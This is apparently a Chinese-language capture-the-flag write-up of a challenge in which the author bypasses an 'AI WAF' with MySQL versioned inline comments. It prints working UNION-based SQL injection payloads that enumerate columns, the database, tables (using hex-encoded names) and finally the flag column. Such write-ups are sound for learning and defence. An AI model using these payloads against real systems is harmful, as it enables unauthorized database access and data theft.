
根据提示,题目明确提到 "NexaData公司存储 ",这通常和数据库相关。并且提示AI_WAF,
"AI WAF"通常指的是具备一定语义分析能力或强正则匹配规则的防火墙,它不仅仅匹配简单的关键
词,而是会识别 SQL 语句的结构。
根据上面的分析,极大概率是一个SQL注入绕过WAF的题目。按照正常的SQL注入流程来即
可,只不过绕过的规则可能不同。

先在kali中使用dirsearch扫描一下网址,扫除一个alert和search,但是只有alert能够访问

访问alert页面,发现是一个SQL检测识别的页面,这个应该就是题目中的AI_WAF,用来判断
网页是否遭受SQL注入攻击,以及显示用户的操作行为是SQL注入攻击的概率。

和正常的SQL注入流程一样,先找到注入点,在网页找到一个搜索框。
搜索输入1可以搜索到结果,在搜索框输入注入语句,显示无法搜索到结果,应该是备WAF过滤掉了。

查看源代码,没发现直接的参数,直接BP抓包查看格式。
通过POST方法,向/search接口发送JSON格式数据 的HTTP请求

在这里尝试了很多绕过方式,但是大多都被WAF识别拦截了。
但是在使用内联注释/*!50400*/时回显成功,内联注释是一个非常经典的利用 MySQL 特性
来绕过 WAF规则的技巧。
在标准SQL中,/*...*/里的内容会被当作注释忽略,但在MySQL中,/*!50400*/这代表**"如果当**
前数据库版本高于或等于5.04.00,则执行其中的代码"。
接下来就是正常的SQL注入流程了:
(1)确认注入点与列数
使用搜索时1有回显,可以用来作为注入点,使用order by命令判断列数为3。
bash
1' /*!50400order*/ /*!50400by*/ 3#


(2)判断回显位置,爆数据库名
将参数设置为-1让前面的查询为空,强行显示后面Union的结果。
可以看到3个回显位置:content、id、title
得到数据库为nexadata,和前面提示的公司的名字一样
bash
-1' /*!50400union*/ /*!50400select*/ 1,/*!50400database*/(),3#

(3)根据数据库名,爆表名
注意这里不能使用group_concat(table_name)而是用limit,被过滤掉了,当时在卡在这里试了好久。得到两个表明article、where_is_my_flagggggg
bash
-1' /*!50400union*/ /*!50400select*/ 1,2,table_name /*!50400from*/ /*!50400information_schema*/.tables /*!50400where*/ table_schema=database() /*!50400limit*/0,1 #
-1' /*!50400union*/ /*!50400select*/ 1,2,table_name /*!50400from*/ /*!50400information_schema*/.tables /*!50400where*/ table_schema=database() /*!50400limit*/1,1 #


(4)根据数据库名和表名,爆列名
显然where_is_my_flagggggg表中有我们要的flag,这里表名我使用了十六进制,单引号会被识别到。得到一个列名Th15_ls_f149
bash
-1' /*!50400union*/ /*!50400select*/ 1,2,column_name /*!50400from*/ /*!50400information_schema*/.columns /*!50400where*/ table_name=0x77686572655f69735f6d795f666c61676767676767 /*!50400limit*/0,1 #
这个地方当时忘记截图了
(5)根据表名和列名,爆字段、
最终得到flag
bash
-1' /*!50400union*/ /*!50400select*/ 1,2,Th15_ls_f149/*!50400from*/ where_is_my_flagggggg /*!50400limit*/0,1#
